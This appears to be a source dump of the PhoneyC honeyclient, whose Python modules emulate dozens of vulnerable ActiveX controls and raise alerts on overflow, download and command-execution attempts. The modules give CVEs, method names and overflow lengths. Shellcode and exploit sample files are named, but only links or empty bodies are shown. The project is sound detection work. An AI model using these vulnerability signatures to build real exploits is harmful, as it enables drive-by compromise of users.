├── DOM ├── __init__.py ├── ClassFactory.py ├── unknown.py └── Array.py ├── HTTP └── __init__.py ├── PDF └── __init__.py ├── ActiveX ├── __init__.py ├── modules │ ├── Flash │ ├── AOLAttack │ ├── ShockwaveFlash9 │ ├── RediffBolDownloaderAttack │ ├── CreativeSoftAttack │ ├── Comodo │ ├── Shockwave │ ├── CABrightStor │ ├── DLinkMPEG │ ├── DivX │ ├── MicrosoftWorks7Attack │ ├── YahooMessengerCyft │ ├── BitDefender │ ├── GomWeb │ ├── Kingsoft │ ├── ICQToolbar │ ├── Move │ ├── RtspVaPgCtrl │ ├── DVRHOSTWeb │ ├── UniversalUpload │ ├── MyspaceUploader │ ├── RDSDataSpace │ ├── UUSeeUpdate │ ├── MSVFP │ ├── QuantumStreaming │ ├── AolAmpX │ ├── RisingScanner │ ├── NCTAudioFile2 │ ├── GLIEDown2 │ ├── CGAgent │ ├── NeoTracePro │ ├── PDFsetview │ ├── DirectShow │ ├── FileUploader │ ├── MSRICHTXT │ ├── QvodCtrl │ ├── WinZip │ ├── PTZCamPanel │ ├── SinaDLoader │ ├── StreamAudioChainCast │ ├── WMEncProfileManager │ ├── PDFsavePageAsBitmap │ ├── BaiduBar │ ├── DPClient │ ├── StormConfig │ ├── NamoInstaller │ ├── PDFFtpDownloadFile │ ├── EnjoySAP │ ├── GatewayWeblaunch │ ├── JetAudioDownloadFromMusicStore │ ├── PDFOpenPDF │ ├── YahooMessengerYVerInfo │ ├── ConnectAndEnterRoom │ ├── Spreadsheet │ ├── SonicWallNetExtenderAddRouteEntry │ ├── WebViewFolderIcon │ ├── XUpload │ ├── PDFextractPagesToFile │ ├── Toshiba │ ├── YahooMessengerYwcvwr │ ├── IMWebControl │ ├── RegistryPro │ ├── SSReaderPdg2 │ ├── AcroPDF │ ├── OurgameGLWorld │ ├── FacebookPhotoUploader │ ├── ZenturiProgramCheckerAttack │ ├── YahooJukebox │ ├── AnswerWork │ ├── AnswerWorks │ ├── PDFSavaAsBMPWMF │ ├── VLC │ ├── PPlayer │ ├── Domino │ ├── Makefile │ ├── MacrovisionFlexNet │ ├── SymantecBackupExec │ ├── RealPlayer │ ├── MicrosoftXMLHTTP │ ├── HPInfo │ ├── PDFAcroPDF │ ├── SnapshotViewer │ ├── StromMps │ └── NessusScanCtrl └── Attr2Fun.py ├── modules ├── honeyjs │ ├── go.comm │ ├── go │ ├── MANIFEST.in │ ├── spidermonkey │ │ ├── double.h │ │ ├── pyobject.h │ │ ├── integer.h │ │ ├── convert.h │ │ ├── pyiter.h │ │ ├── string.h │ │ ├── libjs │ │ │ ├── resource.h │ │ │ ├── jsmath.h │ │ │ └── jsfile.h │ │ ├── tracing.h │ │ ├── jsarray.h │ │ ├── jsfunction.h │ │ ├── jsiterator.h │ │ ├── error.h │ │ ├── jsobject.h │ │ ├── hashcobj.h │ │ ├── runtime.h │ │ ├── double.c │ │ ├── context.h │ │ ├── spidermonkey.h │ │ ├── integer.c │ │ ├── Darwin-i386 │ │ │ └── jsautocfg.h │ │ ├── Linux-i686 │ │ │ └── jsautocfg.h │ │ ├── Linux-x86_64 │ │ │ └── jsautocfg.h │ │ └── string.c │ ├── tests │ │ ├── test-utf16.py │ │ ├── test-errors.py │ │ ├── test-syntax-error.py │ │ ├── test-turnover.py │ │ ├── test-python-ctor.py │ │ ├── test-roundtrip.py │ │ ├── test-runtime.py │ │ ├── test-iterate.py │ │ ├── test-to-python.py │ │ ├── test-py-lookup.py │ │ ├── test-context.py │ │ ├── test-object.py │ │ └── t.py │ ├── update-libjs.sh │ ├── THANKS │ └── LICENSE ├── hcalert │ ├── setup.py │ └── hcalert.py ├── Makefile └── libemu │ └── setup.py ├── test ├── 36488084.sc ├── 39973780.sc ├── runcalc.sc ├── bindshell.sc ├── qvod.js ├── ms09002-mod.html └── ssreader_0day.html ├── doc ├── papers │ └── leet09 │ │ ├── phoneyc.pdf │ │ ├── pics │ │ ├── example_walk.png │ │ ├── phoneyc_flow.png │ │ └── example_walk.dot │ │ └── Makefile ├── phoneyc_future_archtecture.dia └── phoneyc_future_archtecture.png ├── samples ├── Comodo.htm ├── RegistryPro.htm ├── storm_URL.htm ├── DivX.htm ├── storm_rawParse.htm ├── qvodctl.html ├── storm_backImage.htm ├── storm_isDVDPath.htm ├── storm_titleImage.htm ├── Kingsoft.htm ├── storm_advancedOpen.htm ├── BaiduBar.htm ├── UUSeeUpdate.htm ├── GomWeb.htm ├── RediffBolDownloaderAttack.htm ├── HPInfo_GetRegValue.htm ├── Xupload.htm ├── SinaDLoader.htm ├── hpupdate1.html ├── aol_ampx.html ├── msrichtxt.html ├── xupload.html ├── MacrovisionFlexNet.htm ├── 4613.html ├── HPInfo_SetRegValue.htm ├── hpinfo3.html ├── UniversalUpload.htm ├── domino.html ├── 4148.html ├── 5217.html ├── 22811_Elazar.html ├── 4974.html ├── 4230.html ├── hpinfo2.html ├── storm_nov10.html ├── NamoInstaller.htm ├── 4237.html ├── GatewayWeblaunch.htm ├── DPClient.htm ├── 4986.html ├── JetAudioDownloadFromMusicStore.htm ├── 4427.html ├── 4829.html ├── RDSDataSpace.htm ├── SonicWallNetExtenderAddRouteEntry.htm ├── VLC.htm ├── 4869.html ├── HPInfo_LaunchApp.htm ├── NessusScanCtrl.htm ├── 4909.html ├── CreativeSoftAttack.htm ├── 4875.html ├── 5188.html ├── CABrightStor.htm ├── hpinfo.html ├── 5153.html ├── BitDefender.htm ├── YahooMessengerYwcvwr_server.htm ├── hpinfo1.html ├── 4043.html ├── 4594.html ├── StormConfig.htm ├── DirectShow.htm ├── 4663.html ├── 4226.html ├── 5045.html ├── 5043.html ├── ZenturiProgramCheckerAttack.htm ├── hpupdate2.html ├── 4042.html ├── MicrosoftWorks7Attack.htm ├── 4149.html ├── 4874.html ├── qvodctl-2.html ├── 5272.html ├── PPlayer.htm ├── 4420.html ├── YahooMessengerYVerInfo.htm ├── DVRHOSTWeb.htm ├── YahooMessengerYwcvwr_GetComponentVersion.htm ├── gom.html ├── SSReaderPdg2_Register.htm ├── 4351.html ├── ssreader_0day.html ├── 3420.html ├── WinZip.htm └── 2448.html ├── result ├── realplayer-mod.txt ├── qvod.txt ├── 2mix.txt └── ssreader.txt └── Makefile /DOM/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /HTTP/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /PDF/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /ActiveX/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /ActiveX/modules/Flash: -------------------------------------------------------------------------------- 1 | def Flash(): 2 | return 3 | -------------------------------------------------------------------------------- /modules/honeyjs/go.comm: -------------------------------------------------------------------------------- 1 | run setup.py --debug test 2 | bt 3 | continue 4 | bt 5 | -------------------------------------------------------------------------------- /test/36488084.sc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/buffer/phoneyc/HEAD/test/36488084.sc -------------------------------------------------------------------------------- /test/39973780.sc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/buffer/phoneyc/HEAD/test/39973780.sc -------------------------------------------------------------------------------- /test/runcalc.sc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/buffer/phoneyc/HEAD/test/runcalc.sc -------------------------------------------------------------------------------- /test/bindshell.sc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/buffer/phoneyc/HEAD/test/bindshell.sc -------------------------------------------------------------------------------- /modules/honeyjs/go: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | #python setup.py build 3 | gdb --command=go.comm --batch python 4 | -------------------------------------------------------------------------------- /doc/papers/leet09/phoneyc.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/buffer/phoneyc/HEAD/doc/papers/leet09/phoneyc.pdf -------------------------------------------------------------------------------- /doc/phoneyc_future_archtecture.dia: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/buffer/phoneyc/HEAD/doc/phoneyc_future_archtecture.dia -------------------------------------------------------------------------------- /doc/phoneyc_future_archtecture.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/buffer/phoneyc/HEAD/doc/phoneyc_future_archtecture.png -------------------------------------------------------------------------------- /doc/papers/leet09/pics/example_walk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/buffer/phoneyc/HEAD/doc/papers/leet09/pics/example_walk.png -------------------------------------------------------------------------------- /doc/papers/leet09/pics/phoneyc_flow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/buffer/phoneyc/HEAD/doc/papers/leet09/pics/phoneyc_flow.png -------------------------------------------------------------------------------- /ActiveX/modules/AOLAttack: -------------------------------------------------------------------------------- 1 | def LinkSBIcons(): 2 | add_alert('AOLActiveX attack in \'LinkSBIcons\' function') 3 | 4 | self.LinkSBIcons=LinkSBIcons 5 | -------------------------------------------------------------------------------- /ActiveX/modules/ShockwaveFlash9: -------------------------------------------------------------------------------- 1 | 2 | def GetVariable(arg): 3 | if arg == "$version": 4 | return("WIN 9,0,1,0") 5 | 6 | self.GetVariable = GetVariable 7 | -------------------------------------------------------------------------------- /ActiveX/modules/RediffBolDownloaderAttack: -------------------------------------------------------------------------------- 1 | def Seturl(val): 2 | add_alert('RediffBolDownloader ActiveX overflow in url property') 3 | 4 | Attr2Fun['url']=Seturl 5 | -------------------------------------------------------------------------------- /ActiveX/modules/CreativeSoftAttack: -------------------------------------------------------------------------------- 1 | def Setcachefolder(val): 2 | add_alert('CreativeSoft ActiveX overflow in cachefolder property') 3 | 4 | Attr2Fun['cachefolder']=Setcachefolder 5 | -------------------------------------------------------------------------------- /ActiveX/modules/Comodo: -------------------------------------------------------------------------------- 1 | # Comodo AntiVirus 2.0 2 | # CVE-NOMATCH 3 | 4 | def ExecuteStr(cmd, args): 5 | add_alert('Comodo will execute: '+cmd+' ' +args) 6 | 7 | self.ExecuteStr=ExecuteStr 8 | -------------------------------------------------------------------------------- /ActiveX/modules/Shockwave: -------------------------------------------------------------------------------- 1 | def ShockwaveVersion(arg): 2 | if len(arg)>=768*768: 3 | add_alert('Adobe Shockwave ShockwaveVersion() Stack Overflow') 4 | 5 | self.ShockwaveVersion=ShockwaveVersion 6 | -------------------------------------------------------------------------------- /ActiveX/modules/CABrightStor: -------------------------------------------------------------------------------- 1 | # CA BrightStor 2 | # CVE-NOMATCH 3 | 4 | def AddColumn(arg0,arg1): 5 | if len(arg0)>100: 6 | add_alert('CA BrightStor overflow in AddColumn()') 7 | 8 | self.AddColumn=AddColumn 9 | -------------------------------------------------------------------------------- /ActiveX/modules/DLinkMPEG: -------------------------------------------------------------------------------- 1 | # D-Link MPEG4 SHM Audio Control 2 | # CVE-NOMATCH 3 | 4 | def SetUrl(val): 5 | if len(val)>1024: 6 | add_alert('DLinkMPEG overflow in Url property') 7 | 8 | Attr2Fun['Url']=SetUrl 9 | -------------------------------------------------------------------------------- /ActiveX/modules/DivX: -------------------------------------------------------------------------------- 1 | # DivX Player 6.6.0 ActiveX Control 2 | # CVE-NOMATCHd 3 | 4 | def SetPassword(arg0): 5 | if len(arg0)>128: 6 | add_alert('DivX overflow in SetPassword()'); 7 | 8 | self.SetPassword=SetPassword 9 | -------------------------------------------------------------------------------- /ActiveX/modules/MicrosoftWorks7Attack: -------------------------------------------------------------------------------- 1 | def SetWksPictureInterface(val): 2 | add_alert('MicrosoftWorks7 ActiveX overflow in WksPictureInterface property') 3 | 4 | Attr2Fun['WksPictureInterface']=SetWksPictureInterface 5 | -------------------------------------------------------------------------------- /ActiveX/modules/YahooMessengerCyft: -------------------------------------------------------------------------------- 1 | # Yahoo! Messenger 8.x CYTF ActiveX Control 2 | 3 | def GetFile(url,local,arg2,arg3,cmd): 4 | add_alert('Yahoo! Messenger 8.x CYTF download of '+ url) 5 | 6 | self.GetFile=GetFile 7 | -------------------------------------------------------------------------------- /ActiveX/modules/BitDefender: -------------------------------------------------------------------------------- 1 | # BitDefender Online Scanner ActiveX Control 2 | # CVE-2007-5775 3 | 4 | def initx(arg): 5 | if len(arg)>1024: 6 | add_alert('BitDefender Online Scanner InitX() overflow') 7 | 8 | self.initx=initx 9 | -------------------------------------------------------------------------------- /ActiveX/modules/GomWeb: -------------------------------------------------------------------------------- 1 | # GOM Player GOM Manager ActiveX Control 2 | # CVE-2007-5779 3 | 4 | def OpenURL(arg): 5 | if len(arg) > 500: 6 | add_alert('GOM Player 2 overflow in OpenURL()') 7 | 8 | self.OpenURL = OpenURL 9 | -------------------------------------------------------------------------------- /ActiveX/modules/Kingsoft: -------------------------------------------------------------------------------- 1 | # Kingsoft Antivirus 2 | # CVE-NOMATCH 3 | 4 | def SetUninstallName(arg): 5 | if len(arg)>900: 6 | add_alert('Kingsoft SetUninstallName() heap overflow') 7 | 8 | self.SetUninstallName=SetUninstallName 9 | -------------------------------------------------------------------------------- /modules/honeyjs/MANIFEST.in: -------------------------------------------------------------------------------- 1 | include MANIFEST.in 2 | include LICENSE 3 | include README 4 | include ez_setup.py 5 | include go 6 | include go.comm 7 | include setup.py 8 | recursive-include spidermonkey * 9 | include tests/*.py 10 | -------------------------------------------------------------------------------- /ActiveX/modules/ICQToolbar: -------------------------------------------------------------------------------- 1 | # ICQ Toolbar attack 2 | # CVE-NOMATCH 3 | 4 | def GetPropertyById(arg0,arg1): 5 | if len(arg1)>120: 6 | add_alert('ICQToolbar buffer overflow in GetPropertyById') 7 | 8 | self.GetPropertyById=GetPropertyById 9 | -------------------------------------------------------------------------------- /ActiveX/modules/Move: -------------------------------------------------------------------------------- 1 | # Move Networks Upgrade Manager 1.x 2 | # CVE-NOMATCH 3 | 4 | def Upgrade(arg0,arg1,arg2,arg3): 5 | if len(arg0)>6000: 6 | add_alert('Move Networks Upgrade Manager overflow in Upgrade()') 7 | 8 | self.Upgrade=Upgrade 9 | -------------------------------------------------------------------------------- /ActiveX/modules/RtspVaPgCtrl: -------------------------------------------------------------------------------- 1 | # RTSP MPEG4 SP Control 1.x 2 | # CVE-NOMATCH 3 | 4 | def SetMP4Prefix(val): 5 | if len(val)>128: 6 | add_alert('RTSP MPEG4 SP Control overflow in MP4Prefix property') 7 | 8 | Attr2Fun['MP4Prefix']=SetMP4Prefix 9 | -------------------------------------------------------------------------------- /ActiveX/modules/DVRHOSTWeb: -------------------------------------------------------------------------------- 1 | # DVRHOST Web CMS OCX 1.x 2 | # CVE-NOMATCH 3 | 4 | def TimeSpanFormat(arg0,arg1): 5 | if len(arg1)>512: 6 | add_alert('DVRHOST Web CMS OCX overflow in TimeSpanFormat()') 7 | 8 | self.TimeSpanFormat=TimeSpanFormat 9 | -------------------------------------------------------------------------------- /ActiveX/modules/UniversalUpload: -------------------------------------------------------------------------------- 1 | # Univeral HTTP File Upload (UUploaderSverD.dll - v6.0.0.35) 2 | # CVE-NOMATCH 3 | 4 | def RemoveFileOrDir(arg0,arg1): 5 | add_alert('UniversalUpload deleted '+arg0) 6 | 7 | self.RemoveFileOrDir=RemoveFileOrDir 8 | -------------------------------------------------------------------------------- /ActiveX/modules/MyspaceUploader: -------------------------------------------------------------------------------- 1 | # MySpace Uploader Control 1.x 2 | # CVE-NOMATCH 3 | 4 | def SetAction(val): 5 | if len(val)>512: 6 | add_alert('Myspace UPloader overflow with Action property') 7 | 8 | 9 | Attr2Fun['Action']=SetAction 10 | -------------------------------------------------------------------------------- /ActiveX/modules/RDSDataSpace: -------------------------------------------------------------------------------- 1 | # Microsoft MDAC RDS.Dataspace ActiveX 2 | # CVE-2006-0003 3 | 4 | def createobject(*args): 5 | add_alert("Microsoft MDAC RDS.Dataspace ActiveX attack in createobject function"); 6 | 7 | self.createobject=createobject; 8 | -------------------------------------------------------------------------------- /ActiveX/modules/UUSeeUpdate: -------------------------------------------------------------------------------- 1 | # UUSee UUUpgrade ActiveX Control 'Update' Method Arbitrary File Download Vulnerability 2 | # CVE... 3 | 4 | def Update(*args): 5 | add_alert('UUsee UUPgrade ActiveX attack in Update Methond') 6 | 7 | self.Update=Update 8 | -------------------------------------------------------------------------------- /samples/Comodo.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /ActiveX/modules/MSVFP: -------------------------------------------------------------------------------- 1 | # Microsoft VFP_OLE_Server 2 | 3 | def foxcommand(cmd): 4 | add_alert('Microsoft VFP_OLE_Server running'+ cmd) 5 | 6 | self.foxcommand=foxcommand 7 | self.FoxCommand=foxcommand 8 | self.DoCmd=foxcommand 9 | self.docmd=foxcommand 10 | -------------------------------------------------------------------------------- /ActiveX/modules/QuantumStreaming: -------------------------------------------------------------------------------- 1 | # Move Networks Quantum Streaming Player Control 2 | # CVE-NOMATCH 3 | 4 | def UploadLogs(url, arg): 5 | if len(url)>20000: 6 | add_alert('Quantum Streaming Player overflow in UploadLogs()') 7 | 8 | self.UploadLogs=UploadLogs 9 | -------------------------------------------------------------------------------- /ActiveX/modules/AolAmpX: -------------------------------------------------------------------------------- 1 | # AOL Radio AOLMediaPlaybackControl.exe 2 | # CVE-2007-6250 3 | 4 | def AppendFileToPlayList(arg): 5 | if len(arg) > 512: 6 | add_alert('AOL AmpX overflow in AppendFileToPlayList') 7 | 8 | self.AppendFileToPlayList = AppendFileToPlayList 9 | -------------------------------------------------------------------------------- /ActiveX/modules/RisingScanner: -------------------------------------------------------------------------------- 1 | # Rising Online Virus Scanner Web Scan ActiveX Control 2 | # CVE-NOMATCH 3 | 4 | self.BaseURL='' 5 | 6 | def UpdateEngine(): 7 | add_alert('Rising Scanner UpdateEngine Method vulnerability' ) 8 | 9 | self.UpdateEngine=UpdateEngine 10 | -------------------------------------------------------------------------------- /ActiveX/modules/NCTAudioFile2: -------------------------------------------------------------------------------- 1 | # NCTsoft Products NCTAudioFile2 ActiveX Control 2 | # CVE-2007-0018 3 | 4 | def SetFormatLikeSample(arg): 5 | if len(arg)>4000: 6 | add_alert('NCTAudioFile2 overflow in SetFormatLikeSample') 7 | 8 | self.SetFormatLikeSample=SetFormatLikeSample 9 | -------------------------------------------------------------------------------- /ActiveX/modules/GLIEDown2: -------------------------------------------------------------------------------- 1 | # Ourgame GLWorld GLIEDown2.dll ActiveX Control Vulnerabilities 2 | 3 | def IEStartNative(arg0,arg1,arg2): 4 | if len(arg0)>220: 5 | add_alert('GLWorld GLIEDown2.dll ActiveX IEStartNative Method Buffer Overflow') 6 | 7 | self.IEStartNative=IEStartNative 8 | -------------------------------------------------------------------------------- /ActiveX/modules/CGAgent: -------------------------------------------------------------------------------- 1 | # Chinagames iGame CGAgent ActiveX Control Buffer Overflow 2 | # CVE-2009-1800 3 | 4 | def CreateChinagames(arg0): 5 | if len(arg0)>428: 6 | add_alert('CGAgent ActiveX CreateChinagames Method BUffer Overflow') 7 | 8 | self.CreateChinagames=CreateChinagames 9 | -------------------------------------------------------------------------------- /ActiveX/modules/NeoTracePro: -------------------------------------------------------------------------------- 1 | # NeoTraceExplorer.NeoTraceLoader ActiveX control (NeoTraceExplorer.dll) 2 | # CVE-2006-06707 3 | 4 | def TraceTarget(arg): 5 | if len(arg)>255: 6 | add_alert('NeoTracePro.TraceTarget overflow in arg0') 7 | 8 | self.TraceTarget=TraceTarget 9 | 10 | -------------------------------------------------------------------------------- /ActiveX/modules/PDFsetview: -------------------------------------------------------------------------------- 1 | # Buffer overflow in PDF.PdfCtrl.1 for remote attackers to execute arbitrary code via the pdf.setview method 2 | # CVE-1999-1576 3 | 4 | def setview(* args): 5 | add_alert('Buffer overflow in PDF.PdfCtrl.1 by setview method') 6 | 7 | 8 | self.setview=setview 9 | -------------------------------------------------------------------------------- /ActiveX/modules/DirectShow: -------------------------------------------------------------------------------- 1 | # Microsoft DirectShow MPEG2TuneRequest Component Stack Overflow(MS09-032) 2 | # CVE-2008-0015,CVE-2008-0020 3 | 4 | def Setdata(val): 5 | add_alert('Microsoft DirectShow MPEG2TuneRequest Component Stack Overflow in data property') 6 | 7 | Attr2Fun['data']=Setdata 8 | -------------------------------------------------------------------------------- /ActiveX/modules/FileUploader: -------------------------------------------------------------------------------- 1 | # Lycos FileUploader Module 2.x 2 | # CVE-NOMATCH 3 | 4 | def SetHandwriterFilename(val): 5 | if len(val)>1024: 6 | add_alert('FileUploader() overflow in HandwriterFilename property') 7 | 8 | 9 | Attr2Fun['HandwriterFilename']=SetHandwriterFilename 10 | -------------------------------------------------------------------------------- /ActiveX/modules/MSRICHTXT: -------------------------------------------------------------------------------- 1 | # Microsoft Rich Textbox Control 6.0 (SP6) 2 | # CVE-NOMATCH 3 | 4 | object = self 5 | 6 | def SaveFile(path, arg): 7 | global object 8 | add_alert("Writing to file " + str(path) + " with contents: " + str(object.Text)) 9 | 10 | self.SaveFile = SaveFile 11 | -------------------------------------------------------------------------------- /ActiveX/modules/QvodCtrl: -------------------------------------------------------------------------------- 1 | # Qvod Player QvodCtrl Class ActiveX Control 2 | # CVE-NOMATCH 3 | 4 | def SetURL(val): 5 | if len(val)>800: 6 | add_alert('Qvod Player QvodCtrl Class ActiveX Control overflow in URL property') 7 | 8 | Attr2Fun['URL']=SetURL 9 | Attr2Fun['url']=SetURL 10 | -------------------------------------------------------------------------------- /ActiveX/modules/WinZip: -------------------------------------------------------------------------------- 1 | # WinZip FileView ActiveX Control 2 | # CVE-2006-3890,CVE-2006-5198,CVE-2006-6884 3 | 4 | def CreateNewFolderFromName(arg): 5 | if len(arg)>230: 6 | add_alert('WinZip CreateNewFolderFromName overflow') 7 | 8 | self.CreateNewFolderFromName=CreateNewFolderFromName 9 | -------------------------------------------------------------------------------- /ActiveX/modules/PTZCamPanel: -------------------------------------------------------------------------------- 1 | # RTS Sentry Digital Surveillance PTZCamPanel Class (CamPanel.dll 2.1.0.2) 2 | # CVE-NOMATCH 3 | 4 | def ConnectServer(server,user): 5 | if len(user)>1024: 6 | add_alert('PTZCamPanel ConnectServer() overflow in user arg') 7 | 8 | self.ConnectServer=ConnectServer 9 | -------------------------------------------------------------------------------- /samples/RegistryPro.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 14 | 15 | -------------------------------------------------------------------------------- /ActiveX/modules/SinaDLoader: -------------------------------------------------------------------------------- 1 | # Sina DLoader Class ActiveX Control 'DonwloadAndInstall' 2 | # Method Arbitrary File Download Vulnerability 3 | 4 | def DownloadAndInstall(url): 5 | add_alert('Downloader ActiveX Vulnerability') 6 | add_alert('URL : ' + url) 7 | 8 | self.DownloadAndInstall = DownloadAndInstall 9 | -------------------------------------------------------------------------------- /ActiveX/modules/StreamAudioChainCast: -------------------------------------------------------------------------------- 1 | # StreamAudio ChainCast VMR Client Proxy ActiveX Control 3.x 2 | # CVE-NOMATCH 3 | 4 | def InternalTuneIn(arg0,arg1,arg2,arg3,arg4): 5 | if len(arg0)>248: 6 | add_alert('StreamAudio ChainCast ProxyManager buffer overflow in arg0') 7 | 8 | self.InternalTuneIn=InternalTuneIn 9 | -------------------------------------------------------------------------------- /ActiveX/modules/WMEncProfileManager: -------------------------------------------------------------------------------- 1 | # Microsoft Windows Media Encoder WMEX.DLL ActiveX BufferOverflow vulnerability 2 | # CVE-2008-3008 3 | 4 | def GetDetailsString(arg0,arg1): 5 | if(len(arg0)>1023): 6 | add_alert('WMEX.DLL ActiveX GetDetailsString Method Overflow') 7 | 8 | self.GetDetailsString=GetDetailsString 9 | -------------------------------------------------------------------------------- /doc/papers/leet09/Makefile: -------------------------------------------------------------------------------- 1 | all: phoneyc.pdf 2 | 3 | phoneyc.pdf: phoneyc.tex phoneyc.bib pics/example_walk.png pics/phoneyc_flow.png 4 | latex phoneyc.tex 5 | bibtex phoneyc 6 | latex phoneyc.tex 7 | latex phoneyc.tex 8 | 9 | clean: 10 | rm phoneyc.log phoneyc.aux phoneyc.bbl phoneyc.blg phoneyc.pdf -------------------------------------------------------------------------------- /ActiveX/modules/PDFsavePageAsBitmap: -------------------------------------------------------------------------------- 1 | # eXPert PDF ViewerX ActiveX Control "savePageAsBitmap()" Insecure Method 2 | # CVE-2008-4919 3 | 4 | def savePageAsBitmap(arg0): 5 | add_alert('Overwrite arbitrary files via a full pathname:' +arg0+ ' in the savePageAsBitmap method') 6 | 7 | self.savePageAsBitmap=savePageAsBitmap 8 | -------------------------------------------------------------------------------- /ActiveX/modules/BaiduBar: -------------------------------------------------------------------------------- 1 | # BaiduBar.dll ActiveX DloadDS() Remote Code Execution Vulnerability 2 | # BUGTRAQ ID: 25121 3 | 4 | def DloadDS(arg0,arg1,arg2): 5 | if(str(arg0).lower().find(".cab")!= -1): 6 | add_alert('BaiduBar.dll ActiveX DloadDS() function is to download ' + arg0) 7 | 8 | 9 | self.DloadDS=DloadDS 10 | -------------------------------------------------------------------------------- /ActiveX/modules/DPClient: -------------------------------------------------------------------------------- 1 | # Xunlei DPClient.Vod.1 ActiveX Control DownURL2 Method Remote Buffer Overflow Vulnerability 2 | # CVE-2007-5064 3 | 4 | def DownURL2(arg0,*args): 5 | if len(arg0)>1024: 6 | add_alert('DPClient.Vod.1 ActiveX Control DownURL2 Method Buffer Overflow') 7 | 8 | self.DownURL2=DownURL2 9 | 10 | -------------------------------------------------------------------------------- /ActiveX/modules/StormConfig: -------------------------------------------------------------------------------- 1 | # BaoFeng Storm ActiveX Control SetAttributeValue() Buffer Overflow Vulnerability 2 | # CVE-2009-1807 3 | 4 | def SetAttributeValue(arg0,arg1,arg2): 5 | if len(arg0)>260: 6 | add_alert('Storm ActiveX Control SetAttributeValue() Buffer Overflow') 7 | 8 | self.SetAttributeValue=SetAttributeValue 9 | -------------------------------------------------------------------------------- /ActiveX/modules/NamoInstaller: -------------------------------------------------------------------------------- 1 | # NamoInstaller ActiveX Control 1.x - 3.x 2 | # CVE-NOMATCH 3 | 4 | def Install(arg): 5 | if str([arg]).find('http')>-1: 6 | add_alert('Insecure download via NamoInstaller of '+ arg) 7 | if len(arg)>1024: 8 | add_alert('NamoInstaller overflow in Install') 9 | 10 | self.Install=Install 11 | -------------------------------------------------------------------------------- /modules/hcalert/setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from distutils.core import setup 4 | 5 | setup (name = 'hcalert', 6 | version = '0.0.1', 7 | description = 'Define all kinds of alerts in phoneyc', 8 | author = 'Z. Chen', 9 | author_email = 'czj.pub@gmail.com', 10 | py_modules=["hcalert"]) 11 | -------------------------------------------------------------------------------- /samples/storm_URL.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /ActiveX/modules/PDFFtpDownloadFile: -------------------------------------------------------------------------------- 1 | # Insecure FtpDownloadFile method vulnerability in the PDFVIEWER.PDFViewerCtrl.1 ActiveX control (pdfviewer.ocx) 2 | # CVE-2009-2169 3 | 4 | def FtpDownloadFile(arg0, arg1): 5 | add_alert('PDFVIEWER.PDFViewerCtrl.1 FtpDownloadFile method is to download '+ arg0) 6 | self.FtpDownloadFile=FtpDownloadFile 7 | 8 | 9 | -------------------------------------------------------------------------------- /samples/DivX.htm: -------------------------------------------------------------------------------- 1 | 3 | 4 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /samples/storm_rawParse.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /ActiveX/modules/EnjoySAP: -------------------------------------------------------------------------------- 1 | def LaunchGui(arg0,arg1,arg2): 2 | if len(arg0)>1500: 3 | add_alert('EnjoySAP.LaunchGUI overflow in arg0') 4 | 5 | def PrepareToPostHTML(arg): 6 | if len(arg)>1000: 7 | add_alert('EnjoySAP.PrepareToPostHTML overflow in arg0') 8 | 9 | 10 | self.LaunchGui=LaunchGui 11 | self.PrepareToPostHTML=PrepareToPostHTML 12 | -------------------------------------------------------------------------------- /samples/qvodctl.html: -------------------------------------------------------------------------------- 1 | 12 | -------------------------------------------------------------------------------- /samples/storm_backImage.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /samples/storm_isDVDPath.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /samples/storm_titleImage.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /samples/Kingsoft.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 10 | -------------------------------------------------------------------------------- /ActiveX/modules/GatewayWeblaunch: -------------------------------------------------------------------------------- 1 | # Gateway Weblaunch ActiveX Control 2 | # CVE-NOMATCH 3 | 4 | def DoWebLaunch(arg0,arg1,arg2,arg3): 5 | if len(arg1)>512 or len(arg3)>512: 6 | add_alert('GatewayWeblaunch overflow') 7 | else: 8 | add_alert('GatewayWeblaunch will try to execute '+ arg1 +' '+ arg2 + ' ' +arg3) 9 | 10 | self.DoWebLaunch=DoWebLaunch 11 | -------------------------------------------------------------------------------- /ActiveX/modules/JetAudioDownloadFromMusicStore: -------------------------------------------------------------------------------- 1 | # jetAudio "DownloadFromMusicStore()" Arbitrary File Download Vulnerability 2 | # CVE-2007-4983 3 | 4 | def DownloadFromMusicStore(url,dst,title,artist,album,genere,size,param1,param2): 5 | add_alert('Downloading '+url+' and svaomg locally as ' + dst) 6 | 7 | self.DownloadFromMusicStore=DownloadFromMusicStore 8 | -------------------------------------------------------------------------------- /samples/storm_advancedOpen.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /samples/BaiduBar.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 9 | 10 | 11 | 12 | 15 | 16 | 